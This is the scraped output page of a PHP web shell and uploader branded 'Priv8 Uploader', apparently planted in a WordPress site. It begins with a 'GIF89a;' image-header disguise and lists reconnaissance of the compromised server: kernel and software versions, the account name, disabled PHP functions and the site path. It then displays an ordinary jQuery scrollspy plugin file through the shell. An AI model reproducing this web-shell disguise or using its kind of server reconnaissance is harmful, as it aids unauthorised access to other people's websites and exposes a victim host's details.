GIF89a;

Priv8 Uploader By InMyMine7

Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
root@viangans
HEX
Server: Apache/2.4.65 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
User: fluxionuser (1005)
PHP: 8.3.28
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/fluxionuser/web/kastudio.in/public_html/wp-content/plugins/sirv/plugdata/js/scrollspy.js
(function( $ ){
    'use strict';
    $.fn.scrollSpy = function( options ) {
        let settings = $.extend({
            offset: 0,
            activeClass: "active",
            activeClassPos: 'li'
        }, options );

        let winH = $(window).height();
        let docH = $(document).height();

        let $links = $('a', this);
        let elemPos = [];

        $links.each(function(index, element){
            let hash = $(element).attr('href');
            elemPos.push({top: $(hash)[0].offsetTop});
        });

        $(window).on('scroll', scrollHandler.bind(this));

        function scrollHandler(){
            let currPos = $(window).scrollTop();

            for(let i=0; i < elemPos.length-1; i++){
                if(currPos > elemPos[i].top  - settings.offset && currPos < elemPos[i+1].top) {
                    $(settings.activeClassPos, this).removeClass(settings.activeClass);
                    $(settings.activeClassPos, this).eq(i).addClass(settings.activeClass);
                }
            }
    
            if(currPos + winH == docH) {
                //for last item
                $(settings.activeClassPos, this).removeClass(settings.activeClass);
                $(settings.activeClassPos, this).last().addClass(settings.activeClass);
            }
        }
        
    };
})(jQuery);